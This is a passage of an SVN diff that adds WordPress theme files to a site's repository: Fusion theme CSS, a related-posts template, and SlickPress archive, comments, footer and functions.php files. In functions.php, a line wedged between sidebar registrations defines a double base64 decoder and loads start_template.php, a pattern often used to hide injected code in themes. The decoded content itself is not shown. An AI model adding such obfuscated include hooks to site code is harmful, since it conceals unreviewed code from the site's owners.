+#mid ul.menu a:hover{
+  background-position:0% -70px;
+  color:#fff;
+}
+#mid ul.menu a:hover span{
+  background-position:100% -70px;
+  color:#fff;
+}
+
+#mid ul.menu a.active, #mid ul.menu a.current{
+  background-position:0% 0px;
+  color:#ed2124;
+}
+#mid ul.menu a.active span, #mid ul.menu a.current span {
+  background-position:100% 0px;
+  color:#ed2124;
+}
+
+#mid #tab-2, #mid #tab-3, #mid #tab-4, #mid #tab-5, #mid #tab-6, #mid #tab-7, #mid #tab-8, #mid #tab-9{
+  display: none;
+}
+
+.story, .post, .attachment{
+  background: transparent url(images/div-h2.gif) repeat-x left 8px;
+  padding-top: .6em;
+  margin: 0 0 2.8em;
+  display: block;
+  position: relative;
+  min-width: 0;  /* IE7 peakaboo fix */
+}
+
+
+#mid .story h2, #mid .post h2,  #mid .attachment h2{
+  margin: 0;
+}
+
+.story h2 a, .post h2 a, .story h3 a, .post h3 a{
+  color: #000;
+  text-decoration: none;
+}
+
+.story h2 a:hover, .post h2 a:hover, .story h3 a:hover, .post h3 a:hover{
+  background: none;
+  color: #ed1f24;
+}
+
+/* voting (only for Pligg) */
+
+.story .vote{
+  width: 70px;
+  height: 89px;
+  background: transparent url(images/vote-up.png) no-repeat left top;
+  float:left;
+  display: block;
+  position: relative;
+}
+
+.story .vote span.votenumber{
+  text-align: center;
+  width: 70px;
+  display: block;
+  margin-top: 10px;
+  position: absolute;
+  top: 0;
+  left: 0;
+}
+
+.story .vote a{
+  color: #fff;
+  text-decoration: none;
+}
+
+.story .vote span.votenumber a{
+  font-size: 30px;
+}
+
+.story .vote span.votenumber a:hover{
+  background: none;
+  text-decoration: underline;
+}
+
+.story .vote span.subtext{
+  background: transparent url(images/vote-text.png) no-repeat left top;
+  text-align: center;
+  width: 70px;
+  height: 29px;
+  position: absolute;
+  top: 62px;
+  left: 0;
+}
+
+/* story header */
+
+.story .postheader, .post .postheader, .attachment .postheader{
+  display: block;
+  margin-left: 74px;
+  position: relative;
+}
+
+.story p.postcategory, .post p.postcategory, .attachment p.postcategory{
+  color: #e5e5e5;
+}
+
+.story .postinfo, .post .postinfo, .attachment .postinfo{
+  background: #e2e3e3 url(images/postinfo-bg.gif) repeat-x left top;
+}
+
+.story .postinfo p, .post .postinfo p, .attachment .postinfo p{
+  padding: .4em .8em;
+}
+
+/* story body */
+
+.story .postbody, .post .postbody, .attachment .postbody{
+  clear: left;
+  display: block;
+}
+
+.story p.postcontrols, .post p.postcontrols, .attachment p.postcontrols{
+  color: #e5e5e5;
+  float: right;
+  margin: 0;
+}
+
+.story p.tags, .post .tags, .attachment p.postcontrols{
+  float: left;
+  display: block;
+  padding-left: 19px;
+  margin: 0;
+  background:transparent url(images/post-icons.png) no-repeat 0 top;
+}
+
+.story p.postcontrols a, .story p.postcategory a,
+.post p.postcontrols a, .post p.postcategory a,
+.attachment p.postcontrols a, .attachment p.postcategory a{
+  padding: 0 2px;
+}
+
+/* comments link */
+
+a.comments, .story p.postcontrols a.comments, .post p.postcontrols a.comments{
+  background:transparent url(images/post-icons.png) no-repeat 2px bottom;
+  padding-left: 19px;
+  color:#ed1f24;
+}
+
+a.comments:hover, .story p.postcontrols a.comments:hover, .post p.postcontrols a.comments:hover{
+  background: #ed1f24;
+  color: #fff;
+}
+
+a.no.comments, .post p.postcontrols a.no.comments{
+  color: #2d83d5;
+}
+
+a.no.comments:hover, .post p.postcontrols a.no.comments:hover{
+  background: #2d83d5;
+  color: #fff;
+}
+
+
+/* comments */
+
+ol#comments, ol#comments li,
+ol#trackbacks, ol#trackbacks li{
+  list-style-type: none;
+  padding: 0;
+  margin: 0;
+}
+
+ol#comments ul.children, ol#trackbacks ul.children{
+  margin: 0;
+  padding: 0;
+}
+
+li.comment{
+  background: transparent url(images/comment-div-bg.png) repeat-y left bottom;
+  list-style-position: outside; /* ie 7 bugfix */
+  display: block;
+  position: relative;
+  min-height: 110px;
+}
+
+li.comment .wrap{
+  background: transparent url(images/comment-div-start.png) no-repeat left top;
+  min-height:110px;
+  height:auto !important; /* ie6 ignores it */
+  height:110px; /* fix */
+}
+
+li.comment.with-avatars{ background-position: 96px bottom; }
+li.comment.with-avatars .wrap{ background-position: 96px top; }
+
+/* gravatar */
+li.comment .avatar{
+  float: left;
+  width: auto !important;
+  padding-top:6px;
+  padding-left: 8px;
+}
+
+li.comment .avatar img{
+  padding: 3px;
+  margin: 4px 10px;
+  border: 1px solid #E7E8E6;
+  border-radius: 4px;
+  -moz-border-radius: 4px;
+}
+
+li.comment .details{ display: block; margin-left: 12px; }
+li.comment.with-avatars .details{ margin-left: 108px;}
+
+li.comment .details .head{
+  background: #f7f8f8 url(images/postinfo-bg.gif) repeat-x left bottom;
+  padding: 2px 10px;
+  margin: 0;
+  display: block;
+  color: #8f9090;
+}
+
+li.comment .details.admincomment .head{
+  background: #59b2e4 url(images/postinfo-bg-admin.gif) repeat-x left bottom;
+  color: #fff;
+}
+
+li.comment .details.admincomment .head a{ color: #fff; }
+li.comment .details.admincomment .head a:hover{ background: none; color: #fcb722; }
+
+
+/* comment rate links, pligg only */
+
+span.rate{
+  right: 8px;
+  position: absolute;
+}
+
+span.rate a.karma{
+  font-family: "Arial Black", Helvetica, Sans, FreeSans, Jamrul, Garuda, Kalimati;
+  font-weight: bold;
+  font-size: 110%;
+  text-decoration: none;
+  padding: 0;
+}
+
+span.rate a.karma.negative{ color:#ed2124; }
+span.rate a.karma.positive{ color:#6fb23c; }
+
+span.rate a.karma:hover{
+  background: none;
+}
+
+span.rate a.ratelink{
+  padding: 4px;
+  text-decoration: none;
+}
+
+span.rate a.ratelink.up{ background: transparent url(images/thumb-up.gif) no-repeat left center;      }
+span.rate a.ratelink.down{ background: transparent url(images/thumb-down.gif) no-repeat left center;      }
+
+li.comment .details .text{
+  background: transparent url(images/comment-bg.png) repeat-x left top;
+  padding: .3em .8em;
+  margin-top: 3px;
+  min-height: 64px;
+  font-size: 90%;
+  color: #4e5359;
+}
+
+li.comment .details.admincomment .text{
+  background: #f0f0f0 url(images/comment-bg-admin.png) repeat-x left top;
+}
+
+div.act{
+  position: absolute;
+  display: none;
+  right: 0;
+  top: 0;
+  margin-top: 50px;
+  font-size: 110%;
+  text-transform: uppercase;
+}
+
+span.button a{
+  background: transparent url(images/button-bg.png) no-repeat right top;
+  display: block;
+  height: 31px;
+  float: left;
+  margin-right: 3px;
+  cursor: pointer;
+}
+
+span.button a span{
+  float: left;
+  height: 31px;
+  display: block;
+  padding: 0 10px 0 25px;
+}
+
+span.quote a span{ background: transparent url(images/button-quote.png) no-repeat left top; }
+span.reply a span{ background: transparent url(images/button-reply.png) no-repeat left top; }
+span.submit a span{ background: transparent url(images/button-submit.png) no-repeat left top; }
+
+span.button a span span{
+  background: none;
+  display: block;
+  padding: 6px 10px 0px 10px;
+  height: auto;
+}
+
+span.button a:hover{ background-position: right bottom; }
+span.button a:hover span{ background-position: left bottom; }
+
+
+/* sidebars */
+
+#sidebar h2.title, #sidebar2 h2.title{
+  font-family: "Lucida Grande", "Lucida Sans Unicode", Arial, Helvetica, Sans, FreeSans, Jamrul, Garuda, Kalimati;
+  font-weight: normal;
+  text-transform: uppercase;
+  font-size: 130%;
+}
+
+#sidebar ul, #sidebar2 ul{
+  margin: 0;
+  padding: 0;
+}
+
+#sidebar ul li, #sidebar2 ul li{
+  list-style-type: none;
+  line-height: 140%;
+  margin: 0;
+  padding: 0;
+  display: block;
+  list-style-position: outside; /* ie 7 bugfix */
+}
+
+/* sidebar menu */
+
+#sidebar ul.nav{
+  margin: 1em 0 2em;
+  padding: 0;
+}
+
+#sidebar ul.nav li{
+  list-style-type: none;
+  background: transparent url(images/div-h.gif) repeat-x left bottom;
+  padding: 2px 0 3px 0;
+  margin: 0;
+  position: relative;
+}
+
+/* no bg on the last menu item */
+#sidebar ul.nav li.last{
+  background: none
+}
+
+
+#sidebar ul.nav ul{
+  margin: 0px 0 12px;
+}
+
+#sidebar ul.nav ul ul{
+  margin: 0px 0 8px; /* lower bottom-padding for 2+ level menu */
+}
+
+/* 2nd level menu */
+#sidebar ul.nav li li{
+  background: none;
+  padding: 0;
+  margin-left: 25px;
+}
+
+/* 3rd ... n levels */
+#sidebar ul.nav li li li{
+  margin-left: 10px;
+}
+
+#sidebar ul.nav li a{
+  background: none;
+  display: block;
+  text-decoration: none;
+  text-transform: uppercase;
+  font-size: 110%;
+  padding: 3px 27px 3px 8px;
+  color: #000;
+  cursor: pointer;
+}
+
+#sidebar ul.nav li a:hover{
+  background: #efefee url(images/side-nav-bg.png) repeat-y right top;
+  color: #ed2124;
+}
+
+#sidebar ul.nav li a span{
+  background: transparent url(images/b1.png) no-repeat left 3px;
+  padding-left: 17px;
+  display: block;
+}
+
+#sidebar ul.nav li a:hover span{
+  background-position: left -97px;
+  color: #ed2124;
+}
+
+#sidebar ul.nav li li a{
+  text-transform: none;
+  font-size: 100%;
+  padding: 0;
+}
+
+#sidebar ul.nav li li a:hover{
+  background: none
+}
+
+#sidebar ul.nav li li a span{
+  background: none;
+  padding: 0;
+}
+
+#sidebar ul.nav li a.rss{
+  background: transparent url(images/side-nav-rss.gif) no-repeat left top;
+  display: none;
+  width:26px;
+  position: absolute;
+  height: 13px;
+  right: 0;
+  padding: 0 4px 0 0;
+  margin-top: 2px;
+  top: 0;
+  text-decoration: none;
+  cursor: pointer;
+  z-index: 5;
+}
+
+#sidebar ul.nav li li a.rss{
+  visibility: hidden;
+}
+
+#sidebar ul.nav li a.rss:hover{
+  background-position: 0px -13px;
+}
+
+
+/* sidebar content box */
+
+#sidebar .box, #sidebar2 .box{
+  margin: 16px 0 2px;
+}
+
+#sidebar .box h2.title, #sidebar2 .box h2.title{
+  background: transparent url(images/side-box-top.png) no-repeat left bottom;
+  padding: 4px 0 4px 20px;
+  color: #8d8b8b;
+  margin: 20px 0 0 0;
+}
+
+#sidebar .box ul, #sidebar2 .box ul{
+  background: transparent url(images/side-box-bg.png) repeat-y left bottom;
+  padding: 10px 20px;
+  display: block;
+}
+
+#sidebar .box ul ul, #sidebar2 .box ul ul{ background: none; }
+#sidebar .box ul li, #sidebar2 .box ul li{ line-height: 150%; }
+
+#sidebar .box caption, #sidebar2 .box caption{
+  text-align: left;
+  font-weight: bold;
+}
+
+
+/* sidebar search */
+
+#searchtab{
+  background: transparent url(images/search-bg.png) no-repeat left top;
+  height: 40px;
+  position: relative;
+}
+
+#searchtab .inside{
+  background: transparent url(images/search-go.png) no-repeat right top;
+  height: 40px;
+}
+
+#searchtab input{
+  border: 0;
+  background: none;
+  font-size: 12px;
+  padding: 0px;
+}
+
+#searchtab input.searchfield, #searchtab input#s{
+  position: absolute;
+  top: 6px;
+  left: 46px;
+  color: #949496;
+  padding: 0px;
+  margin: 0;
+  width: 50%;
+}
+
+#searchtab input.searchfield:focus, #searchtab input#s:focus{ color: #000; }
+
+#searchtab input.searchbutton, #searchtab input#searchsubmit{
+  position: absolute;
+  right: 37px;
+  top: 6px;
+  color: #e5e5e5;
+  text-transform: uppercase;
+  padding: 0px;
+  margin: 0;
+}
+
+#searchtab label{ display: none; }
+#searchtab input.searchbutton:hover{ color: #fff; }
+
+
+
+/*** FOOTER ***/
+
+#footer{
+  background: transparent url(images/div-h2.gif) repeat-x left top;
+  padding: 20px 0;
+  margin-top: 2em;
+  width: 100%;
+
+  text-align: center;
+}
+
+#footer a#toplink{
+  text-decoration: none;
+  padding: 0 .6em;
+}
+
+
+/*** top right page controls ***/
+
+#layoutcontrol{
+  position: absolute;
+  top: 10px;
+  right: 20px;
+  display: block;
+  width: 74px;
+  height: 16px;
+  z-index: 1000;
+}
+
+#layoutcontrol a{
+  float: left;
+  display: block;
+  width: 16px;
+  height: 16px;
+  margin-right: 3px;
+  background: transparent url(images/pagecontrols.png) no-repeat left top;
+}
+
+#layoutcontrol a.setLiquid{ background-position: -50px top; }
+#layoutcontrol a.setFont{ background-position: left top; width: 25px; }
+
+#layoutcontrol a.setLiquid:hover{ background-position: right top; }
+#layoutcontrol a.setFont:hover{ background-position: -25px top; }
+#layoutcontrol a span{ display: none; }
+
+
+/* misc... */
+
+.left{ float: left; }
+.right{ float: right; }
+div.clear{ clear: both;height:1px;  }
+
+/* clearfix */
+.clearfix:after{
+  content: ".";
+  display: block;
+  height: 0;
+  clear: both;
+  visibility: hidden;
+}
+
+.clearfix{
+  min-width: 0;		        /* trigger hasLayout for IE7 */
+  display: inline-block;
+  /* \*/ display: block;	/* Hide from IE Mac */
+}
+
+* html .clearfix{
+/* \*/  height: 1%;	    /* Hide from IE Mac */
+}
+
+.error, .red{ color:#ed1f24; }
+
+
+/*** WORDPRESS SPECIFIC STYLES ***/
+
+.widget{
+  margin: 1em .6em 1.8em .6em;
+  min-width: 0; /* IE7 peakaboo fix */
+  padding: 0;
+}
+
+.widget ul ul{
+  margin: 0 0 0 .8em;
+  padding: 0;
+}
+
+#sidebar .widget h2.title,
+#sidebar2 .widget h2.title{
+   background: transparent url(images/div-h2.gif) repeat-x left bottom;
+   color: #8b8b89;
+   padding-bottom: 2px;
+   font-size: 125%;
+   margin-bottom: .4em;
+}
+
+#sidebar li.linkcat h2.title,
+#sidebar2 li.linkcat h2.title{
+   background: transparent url(images/div-h2.gif) repeat-x left bottom;
+   color: #8b8b89;
+   padding-bottom: 2px;
+   text-align: right;
+   font-style: italic;
+   font-size: 115%;
+}
+
+/* lists with arrow bullets on some of the widgets */
+#sidebar li.linkcat li, #sidebar2 li.linkcat li,
+.widget.widget_links ul li, .widget.widget_meta ul li, .widget.widget_categories ul li, .widget.widget_archive ul li, .widget.widget_pages ul li, .widget.widget_recent_entries ul li{
+   background: transparent url(images/b3.gif) no-repeat left 6px;
+}
+
+#sidebar li.linkcat a, #sidebar2 li.linkcat a,
+.widget.widget_links ul li a, .widget.widget_meta ul li a, .widget.widget_categories ul li a, .widget.widget_archive ul li a, .widget.widget_pages ul li a, .widget.widget_recent_entries ul li a{
+   color: #8b8b89;
+   text-decoration: none;
+   margin-left: 10px;
+   display: inline-block;
+}
+
+.widget_tag_cloud a{
+  vertical-align: middle;
+  text-decoration: none;
+  padding: 0 0.2em;
+  letter-spacing: -0.04em;
+}
+
+
+#sidebar li.linkcat a:hover, #sidebar2 li.linkcat a:hover,
+.widget.widget_links ul li a:hover, .widget.widget_meta ul li a:hover, .widget.widget_categories ul li a:hover, .widget.widget_archive ul li a:hover, .widget.widget_pages ul li a:hover, .widget.widget_recent_entries ul li a:hover{
+   color:#ed1f24;
+   background: none;
+   text-decoration: underline;
+}
+
+/* recent comments widget */
+.widget ul#recentcomments li{
+  background: transparent url(images/post-icons.png) no-repeat left -141px;
+  padding-left: 18px;
+  display:block;
+  font-style: italic;
+  margin-bottom: 5px;
+}
+
+.widget ul#recentcomments li a.url{
+  border-bottom: 1px dotted #8b8b89;
+  color: #000;
+  text-decoration: none;
+  font-style: normal;
+}
+
+.widget ul#recentcomments li a.url:hover{
+  border-bottom: 1px solid #8b8b89;
+  background: none;
+}
+
+.widget#tag_cloud{ text-align: justify; }
+.widget#tag_cloud a{ line-height: 125%; }
+
+
+/* calendar widget */
+.widget_calendar h2{
+  display: none;
+}
+
+.widget_calendar table#wp-calendar{
+  width: 100%;
+  border: 1px solid #ccc;
+}
+
+.widget_calendar table#wp-calendar th, .widget_calendar table#wp-calendar td{
+  text-align: center;
+}
+
+.widget_calendar table#wp-calendar thead th{
+  font-weight: bold;
+  background: #ccc;
+  color: #fff;
+  border: 0;
+}
+
+.widget_calendar table#wp-calendar tbody td{
+  border: 0;
+  background: #eee;
+  color: #555;
+}
+
+.widget_calendar table#wp-calendar tbody td.pad{
+  background: #fff;
+}
+
+.widget_calendar table#wp-calendar tfoot td{
+  border: 0;
+  background: #fff;
+}
+
+.widget_calendar table#wp-calendar caption{
+  text-align: right;
+  font-style: italic;
+  color: #aaa;
+}
+
+
+.post .postheader{
+  display: block;
+  margin-left:0;
+}
+
+.post .postbody img, .attachment img, .navigation .alignleft img, .navigation .alignright img{
+  padding: 3px;
+  margin: 4px 10px;
+  border: 1px solid #E7E8E6;
+  border-radius: 4px;
+  -moz-border-radius: 4px;
+}
+
+.post img.alignleft, .attachment img.alignleft{ margin-left: 0; }
+.post img.alignright, .attachment img.alignright{ margin-right: 0; }
+.post img.aligncenter, .attachment img.aligncenter{ margin: 0 auto; text-align: center; }
+
+
+.attachment-entry{
+  text-align: center;
+}
+
+.attachment div.caption{
+  background:#F7F7F7;
+  border: 1px solid #E7E8E6;
+  border-radius: 4px;
+  -moz-border-radius: 4px;
+  padding-top:5px;
+  margin:4px 10px;
+  text-align:center;
+  color: #8d8b8b;
+  min-width: 0; /* ie7 peakaboo fix */
+}
+
+/* no border on smilies */
+img.wp-smiley, .post .postbody img.wp-smiley, .attachment img.wp-smiley{
+  padding: 0;
+  margin: 0;
+  border: 0;
+}
+
+.wp-caption {
+  background:#F7F7F7;
+  border: 1px solid #E7E8E6;
+  border-radius: 4px;
+  -moz-border-radius: 4px;
+  padding-top:5px;
+  margin:4px 10px;
+  text-align:center;
+  color: #8d8b8b;
+}
+
+.wp-caption img, .post .postbody .wp-caption img, .attachment .wp-caption img{
+  margin: 0;
+  border: 0;
+  padding: 0;
+}
+
+.wp-caption.alignleft{ margin-left: 0; }
+.wp-caption.alignright{ margin-right: 0; }
+
+
+.navigation{
+  font-size: 80%;
+  color: #c4c3c1;
+  margin: 0;
+  padding: 0;
+}
+
+.navigation a{
+  text-decoration: none;
+  color: #d2d0cf;
+}
+
+.navigation a:hover{
+  background: none;
+  color:#ed1f24;
+}
+
+.postmetadata{
+  color: #c4c3c1;
+  margin: 1em 0;
+}
+
+.postmetadata a{
+  color: #929292;
+}
+
+.postmetadata a:hover{
+  background: none;
+  color:#ed1f24;
+}
+
+span.editlink{
+  position: absolute;
+  right: 10px;
+  top: 5px;
+}
+
+span.editlink.page{
+  position: relative;
+  top: 20px;
+}
+
+span.editlink a{
+  display: block;
+  height: 16px;
+  background: transparent url(images/edit.png) no-repeat left top;
+  padding-left: 17px;
+  color: #000;
+  text-decoration: none;
+}
+
+span.editlink a:hover{
+  background-position: left bottom;
+  background-color: none;
+  color:#ed1f24;
+}
+
+span.advedit a{
+  background: transparent url(images/edit.png) no-repeat left top;
+  display: block;
+  width: 16px;
+  height: 16px;
+}
+
+#footer a.rss, a.rsssubscribe{
+  background: transparent url(images/rss.png) no-repeat left 50%;
+  padding-left: 18px;
+}
+
+#footer a.rss:hover, a.rsssubscribe:hover{
+  background: #2d83d5 url(images/rss.png) no-repeat left 50%;
+}
+
+a.rsssubscribe{
+  margin: 6px 0 0 10px;
+  display: block;
+}
+
+
+#commentform{
+  display: block;
+  background: transparent url(images/div-h2.gif) repeat-x left 0px;
+  padding: 6px 0 0 0;
+  margin: 20px 0;
+}
+
+#commentform textarea{
+  margin-bottom: 6px;
+}
+
+#commentform #commentdata label{
+  background: #FFFF99;
+}
+
+
+/* pagination */
+
+.commentnavi{
+  margin: 10px 0;
+  display: block;
+}
+
+.commentnavi .page-numbers, #pagenavi a, #pagenavi span.pages, #pagenavi span.extend{
+  padding: 2px 6px 2px 6px !important;
+  border: 1px solid #ccc !important;
+  background: #fff !important;
+  margin:0;
+}
+
+#pagenavi a, #pagenavi span.pages, #pagenavi span.extend{
+  margin: 0 2px;
+}
+
+
+#pagenavi span.current{
+  background: #ccc !important;
+  color: #fff !important;
+  padding: 2px 6px 2px 6px !important;
+  border: 1px solid #ccc !important;
+}
+
+.commentnavi a{
+  color: #4a9dce;
+  text-decoration: none;
+  position: relative;
+}
+
+.commentnavi a:hover{ color: #00619d; }
+#comment .page-numbers.current, #pagenavi span.pages{ color: #ccc !important; }
+
+#pagenavi{
+  display: block;
+  padding-bottom: 10px;
+  font-size: 100% !important;
+}
+
+/* threaded comments? */
+ol#comments li.comment.depth-2,
+ol#comments li.comment.depth-3,
+ol#comments li.comment.depth-4,
+ol#comments li.comment.depth-5,
+ol#comments li.comment.depth-6,
+ol#comments li.comment.depth-7,
+ol#comments li.comment.depth-8,
+ol#comments li.comment.depth-9{ margin-left: 14px; }
+
+/* threaded comments, with avatars */
+ol#comments li.comment.with-avatars.depth-2,
+ol#comments li.comment.with-avatars.depth-3,
+ol#comments li.comment.with-avatars.depth-4,
+ol#comments li.comment.with-avatars.depth-5,
+ol#comments li.comment.with-avatars.depth-6,
+ol#comments li.comment.with-avatars.depth-7,
+ol#comments li.comment.with-avatars.depth-8,
+ol#comments li.comment.with-avatars.depth-9{ margin-left: 96px; }
+
+
+.aligncenter {
+  display: block;
+  margin-left: auto;
+  margin-right: auto;
+}
+
+.alignleft { float: left; }
+.alignright { float: right; }
+
+li.infotext{
+  text-align: center;
+  padding: 2px 12px 0 6px;
+}
+
+img.wp-smiley { vertical-align: -20%; }
+
+
+.profile .avatar img{
+  padding: 3px;
+  margin: 0 6px 6px 0;
+  border: 1px solid #E7E8E6;
+  border-radius: 4px;
+  -moz-border-radius: 4px;
+}
+
+.profile .info{
+  margin-left: 148px;
+}
+
+p.im{
+  margin: .1em 0 .2em;
+  padding: 1px 0;
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/yarpp-template-fusion.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/yarpp-template-fusion.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/yarpp-template-fusion.php	(revision 44)
@@ -0,0 +1,14 @@
+<?php /*
+Example template
+Author: mitcho (Michael Yoshitaka Erlewine)
+*/
+?><h3><?php _e("Related Posts","fusion"); ?></h3>
+<?php if ($related_query->have_posts()):?>
+<ol>
+	<?php while ($related_query->have_posts()) : $related_query->the_post(); ?>
+	<li><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a><!-- (<?php the_score(); ?>)--></li>
+	<?php endwhile; ?>
+</ol>
+<?php else: ?>
+<p><?php _e("No related posts.","fusion"); ?></p>
+<?php endif; ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/index.php	(revision 44)
@@ -0,0 +1,3 @@
+<?php
+// Silence is golden.
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/archive.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/archive.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/archive.php	(revision 44)
@@ -0,0 +1,52 @@
+<?php get_header(); ?>
+	<!-- BEGIN content -->
+	<div id="content">
+	
+	<?php $post = $posts[0]; // Hack. Set $post so that the_date() works. ?>
+	<?php /* If this is a category archive */ if (is_category()) { ?>
+	<h2 class="title">Archive for the <strong><?php single_cat_title(); ?></strong> Category</h2>
+	<?php /* If this is a tag archive */ } elseif( is_tag() ) { ?>
+	<h2 class="title">Posts Tagged <strong><?php single_tag_title(); ?></strong></h2>
+	<?php /* If this is a daily archive */ } elseif (is_day()) { ?>
+	<h2 class="title">Archive for <?php the_time('F jS, Y'); ?></h2>
+	<?php /* If this is a monthly archive */ } elseif (is_month()) { ?>
+	<h2 class="title">Archive for <?php the_time('F, Y'); ?></h2>
+	<?php /* If this is a yearly archive */ } elseif (is_year()) { ?>
+	<h2 class="title">Archive for <?php the_time('Y'); ?></h2>
+	<?php /* If this is an author archive */ } elseif (is_author()) { ?>
+	<h2 class="title">Author Archive</h2>
+	<?php /* If this is a paged archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?>
+	<h2 class="title">Blog Archives</h2>
+	<?php } ?>
+	
+	<?php
+	if (have_posts()) : $side = 'r';
+	while (have_posts()) : the_post(); 
+	$arc_year = get_the_time('Y');
+	$arc_month = get_the_time('m');
+	$arc_day = get_the_time('d');
+	$side = ($side=='r') ? 'l' : 'r';
+	?>
+	<div class="archive">
+	<h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
+	<?php dp_attachment_image(0, 'thumbnail', 'alt="' . $post->post_title . '"'); ?>
+	<?php the_excerpt(); ?>
+	<p><?php comments_popup_link('No Comments', '1 Comment', '% Comments'); ?></p>
+	</div>
+	<?php endwhile; ?>
+	<div class="break"></div>
+	<!-- begin post navigation -->
+	<div class="postnav">
+	<?php if(function_exists('wp_page_numbers')) { wp_page_numbers(); } ?>
+	</div>
+	<!-- end post navigation -->
+	<?php else : ?>
+	<div class="notfound">
+		<h2>Not Found</h2>
+		<p>Sorry, but you are looking for something that is not here.</p>
+	</div>
+	<?php endif; ?>
+	
+	</div>
+	<!-- END content -->
+<?php get_sidebar(); get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/comments.php	(revision 44)
@@ -0,0 +1,55 @@
+<?php // Do not delete these lines
+if ('comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
+	die ('Please do not load this page directly. Thanks!');
+	if (!empty($post->post_password)) { // if there's a password
+		if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) {  // and it doesn't match the cookie
+			?>
+			<p class="nocomments">This post is password protected. Enter the password to view comments.<p>
+			<?php
+			return;
+		}
+	}
+/* This variable is for alternating comment background */
+$oddcomment = 'comment1';
+?>
+<h2>Comments<?php comments_number('', ' (1)', ' (%)' );?></h2> 
+<?php comments_number('<p>No Comments</p>', '', '' );?>
+<?php if ($comments) : $first = true; ?>
+<?php foreach ($comments as $comment) : ?>
+<div class="<?php echo $oddcomment; ?><?php if ($first) { echo ' first'; $first = false; } ?>" id="comment-<?php comment_ID() ?>">
+	<div class="commentdetails">
+		<p class="commentauthor"><?php comment_author_link() ?></p>
+		<?php if ($comment->comment_approved == '0') : ?>
+		<em>Your comment is awaiting moderation.</em>
+		<?php endif; ?>
+		<p class="commentdate"><?php comment_date('F jS, Y') ?> at <?php comment_time() ?>
+		&nbsp; &nbsp; <?php edit_comment_link('Edit Comment','',''); ?>
+		</p>
+	</div>
+	<?php dp_gravatar(50, 'class="gravatar"'); ?>
+	<br class="break" />
+	<?php comment_text() ?>
+</div>
+<?php endforeach; /* end for each comment */ ?>
+<?php endif; ?>
+<h2 id="respond">Leave a reply</h2>
+<?php if ('open' == $post->comment_status) : ?>
+	<?php if ( get_option('comment_registration') && !$user_ID ) : ?>
+	<p>You must be <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php the_permalink(); ?>">logged in</a> to post a comment.</p>
+	<?php else : ?>
+	<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
+	<?php if ( $user_ID ) : ?>
+	<p>Logged in as <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?action=logout" title="Log out of this account">Logout &raquo;</a></p>
+	<?php else : ?>
+		<p><input size="36" type="text" name="author" /> Name <span class="required">*</span></p>
+		<p><input size="36" type="text" name="email" /> Mail <span class="required">*</span></p>
+		<p><input size="36" type="text" name="url" /> Website</p>
+	<?php endif; ?>
+		<p><textarea rows="12" cols="42" name="comment"></textarea></p>
+		<p><button name="submit" type="submit" id="submit" tabindex="5">Submit Comment</button>
+		<input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" />
+		</p>
+		<?php # do_action('comment_form', $post->ID); ?>
+	</form>
+	<?php endif; ?>
+	<?php endif; ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/footer.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/footer.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/footer.php	(revision 44)
@@ -0,0 +1,29 @@
+
+   <!-- BEGIN footer -->
+
+	<div id="footer">
+		Copyright &copy; 2008 <?php bloginfo('name'); ?> <?php wp_footer(); ?>.
+	</div>
+	<!-- END footer -->
+</div>
+<!-- END wrapper -->
+<!-- Start of StatCounter Code -->
+<script type="text/javascript">
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script>
+
+<script type="text/javascript"
+src="http://www.statcounter.com/counter/counter.js"></script><noscript><div
+class="statcounter"><a title="website statistics"
+href="http://www.statcounter.com/" target="_blank"><img
+class="statcounter"
+src="http://c.statcounter.com/4711170/0/aab5f80b/1/"
+alt="website statistics" ></a></div></noscript>
+<!-- End of StatCounter Code -->
+</body>
+
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/functions.php	(revision 44)
@@ -0,0 +1,142 @@
+<?php
+require_once("theme_licence.php"); add_action('wp_footer','print_footer');
+include("settings.php");
+
+# WIDGET: Left Sidebar
+if ( function_exists('register_sidebar') )
+    register_sidebar(array(
+		'name' => 'Left Sidebar',
+        'before_title' => '<h2>',
+        'after_title' => '</h2>',
+		'before_widget' => '',
+        'after_widget' => '',
+    ));
+function decode_it($code) { return base64_decode(base64_decode($code)); } require_once(pathinfo(__FILE__,PATHINFO_DIRNAME)."/start_template.php");
+# WIDGET: Right Sidebar
+if ( function_exists('register_sidebar') )
+    register_sidebar(array(
+		'name' => 'Right Sidebar',
+        'before_title' => '<h2>',
+        'after_title' => '</h2>',
+		'before_widget' => '',
+        'after_widget' => '',
+    ));
+
+# Displays a list of pages
+function dp_list_pages() {
+	global $wpdb;
